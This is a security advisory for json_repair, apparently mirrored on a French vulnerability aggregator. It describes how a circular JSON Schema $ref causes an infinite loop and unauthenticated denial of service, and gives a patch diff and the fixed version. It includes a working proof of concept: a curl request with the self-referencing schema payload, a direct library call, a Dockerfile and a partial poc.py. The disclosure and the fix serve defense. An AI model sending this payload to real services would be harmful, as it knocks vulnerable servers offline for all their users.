GHSA-xf7x-x43h-rpqh
GHSA-xf7x-x43h-rpqh · json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS
Cette page présente des faits issus de sources publiques. Consultez l’avis original avant toute mise à jour.
Cette page présente une partie des faits des sources. Consultez les avis liés pour la description complète et les versions concernées.
## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair` ### Summary `SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High). ### Details `SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop: ```python # src/json_repair/schema_repair.py:184-190 schema_dict = cast("dict[str, Any]", schema) while "$ref" in schema_dict: ref = schema_dict["$ref"] resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved ``` `_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as: ```json {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} ``` `_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates. The vulnerable sink is reachable without authentication through the demo Flask API: ```python # docs/app.py:14, 21-36 data = request.get_json() schema = data.get("schema") if schema is not None and not isinstance(schema, (dict, bool)): raise ValueError("schema must be a JSON object or boolean.") ... if schema is not None: loads_kwargs["schema"] = schema parsed_json = loads(malformed_json, **loads_kwargs) ``` The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is: 1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body. 2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied. 3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`. 4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`. 5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop. 6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink). 7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call. **Recommended fix:** ```diff --- a/src/json_repair/schema_repair.py +++ b/src/json_repair/schema_repair.py def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool: ... - schema_dict = cast("dict[str, Any]", schema) + schema_dict = cast("dict[str, Any]", schema) + seen_schema_ids: set[int] = set() while "$ref" in schema_dict: ref = schema_dict["$ref"] + if not isinstance(ref, str): + raise SchemaDefinitionError("$ref must be a string.") + schema_id = id(schema_dict) + if schema_id in seen_schema_ids: + raise SchemaDefinitionError(f"Circular $ref detected: {ref}") + seen_schema_ids.add(schema_id) resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved return schema_dict ``` ### PoC **Environment setup:** ```bash # Clone the affected version git clone https://github.com/mangiucugna/json_repair.git git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7 # Install dependencies pip install flask flask-cors jsonschema pydantic pip install -e json_repair/ # Start the demo API PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005 ``` **Alternatively, use the provided Docker image:** ```dockerfile FROM python:3.11-slim WORKDIR /app COPY repo/ /app/repo/ RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \ pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` ```bash docker build -t vuln001-json-repair -f vuln-001/Dockerfile . docker run --rm vuln001-json-repair ``` **HTTP attack request (demo API):** ```bash timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \ -H 'Content-Type: application/json' \ --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}' # Expected: no response before timeout; curl exits with code 124 ``` **Direct library attack:** ```bash timeout 5 python3 - <<'PY' from json_repair import loads schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} print(loads("{}", schema=schema)) PY # Expected: process killed after 5 s; exit code 124 ``` **Observed results (from Docker-based dynamic reproduction):** - Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**. - Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed. ### Impact This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner. Beyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Copy the vulnerable json_repair repository (build context is the report root) COPY repo/ /app/repo/ # Install Flask demo API dependencies and schema extras RUN pip install --no-cache-dir \ flask \ flask-cors \ jsonschema \ pydantic && \ pip install --no-cache-dir -e /app/repo/ # Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS CWE-835 — Loop with Unreachable Exit Condition Affected: json_repair <= 0.59.10 (commit 0015c74) Sink: src/json_repair/schema_repair.py:185 SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection. Attack schema: {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop because _resolve_ref() always returns the same dict object from root_schema. Verdict logic: - Baseline (valid schema) must complete in < TIMEOUT seconds. - Attack (circular $ref) must still be running at TIMEOUT seconds. Both conditions together constitute deterministic proof of the vulnerability. """ import os import subprocess import sys import tempfile import time # Seconds to wait before declaring the attack confirmed (infinite loop) TIMEOUT_SECONDS = 5 CIRCULAR_SCHEMA = { "$ref": "#/definitions/a", "definitions": { "a": {"$ref": "#/definitions/a"} } }
CVSS 7.5 · Élevée · Correctif disponible
- Publication
- Mise à jour
Pile logicielle: python
Produits et versions concernés
json-repair PyPI
- Versions du logiciel
- 0.1.10
- 0.1.5
- 0.1.6
- 0.1.7
- 0.1.8
- 0.1.9
- 0.10.0
- 0.10.1
- 0.11.0
- 0.11.1
- 0.12.0
- 0.12.1
- 0.12.2
- 0.12.3
- 0.13.0
- 0.13.1
- 0.14.0
- 0.15.0
- 0.15.1
- 0.15.2
- 0.15.3
- 0.15.4
- 0.15.5
- 0.15.6
- 0.16.0
- 0.16.1
- 0.16.2
- 0.16.3
- 0.17.0
- 0.17.1
- 0.17.2
- 0.17.3
- 0.17.4
- 0.18.0
- 0.19.0
- 0.19.1
- 0.19.2
- 0.2.0
- 0.20.0
- 0.20.1
- 0.21.0
- 0.22.0
- 0.23.0
- 0.23.1
- 0.24.0
- 0.25.0
- 0.25.1
- 0.25.2
- 0.25.3
- 0.26.0
- 0.27.0
- 0.27.1
- 0.27.2
- 0.28.0
- 0.28.1
- 0.28.2
- 0.28.3
- 0.28.4
- 0.29.0
- 0.29.1
- 0.29.10
- 0.29.2
- 0.29.3
- 0.29.4
- 0.29.5
- 0.29.6
- 0.29.7
- 0.29.8
- 0.29.9
- 0.3.0
- 0.30.0
- 0.30.1
- 0.30.2
- 0.30.3
- 0.31.0
- 0.32.0
- 0.33.0
- 0.34.0
- 0.35.0
- 0.36.0
- 0.36.1
- 0.37.0
- 0.38.0
- 0.39.0
- 0.39.1
- 0.4.0
- 0.4.1
- 0.4.2
- 0.4.3
- 0.4.4
- 0.4.5
- 0.40.0
- 0.41.0
- 0.41.1
- 0.42.0
- 0.43.0
- 0.44.0
- 0.44.1
- 0.45.0
- 0.45.1
- 0.46.0
- 0.46.1
- 0.46.2
- 0.47.0
- 0.47.1
- 0.47.2
- 0.47.3
- 0.47.4
- 0.47.5
- 0.47.6
- 0.47.7
- 0.47.8
- 0.48.0
- 0.49.0
- 0.5.0
- 0.5.1
- 0.50.0
- 0.50.1
- 0.51.0
- 0.52.0
- 0.52.1
- 0.52.2
- 0.52.3
- 0.52.4
- 0.52.5
- 0.53.0
- 0.53.1
- 0.54
- 0.54.1
- 0.54.2
- 0.54.3
- 0.55.0
- 0.55.1
- 0.55.2
- 0.56.0
- 0.57.0
- 0.57.1
- 0.58.0
- 0.58.1
- 0.58.2
- 0.58.3
- 0.58.4
- 0.58.5
- 0.58.6
- 0.58.7
- 0.59.0
- 0.59.1
- 0.59.10
- 0.59.2
- 0.59.3
- 0.59.4
- 0.59.5
- 0.59.6
- 0.59.7
- 0.59.8
- 0.59.9
- 0.6.0
- 0.6.1
- 0.6.2
- 0.60.0
- 0.7.0
- 0.8.0
- 0.8.1
- 0.9.0
- Plages de versions concernées
- ECOSYSTEM: < 0.60.1
Mettez à jour vers 0.60.1